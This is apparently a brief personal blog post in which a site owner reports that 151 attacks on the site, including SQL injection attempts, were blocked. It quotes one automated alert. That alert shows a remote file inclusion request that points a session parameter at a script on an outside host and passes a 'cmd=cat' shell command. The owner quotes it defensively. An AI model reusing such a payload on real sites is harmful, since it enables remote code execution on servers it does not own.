There have been 151 attacks on Summer Daze over the past few weeks. Some have tried to exploit SQL injection others have tried to exploit the server but I'm pleased to announce that all attacks were stopped before the attacker had a chance
Instead I just got an email for each attack from the "Summer Daze Auto Mailer" informing me of an "Invalid Query String". With a message like the one that follows.
The following report was triggered by a Guest user (66.173.241.225) when accessing /modules.php?name=users&action=login
&PHPSESSID=http://www.sanicentrum.be/private/tool25.dot?
&cmd=cat%20bugado
Nice to know that LogicFury remains unhacked. I have no doubt that exploits will be discovered, no one can forsee and prevent every attack but it's nice to see some measures I have taken to prevent them working so well
3 Comments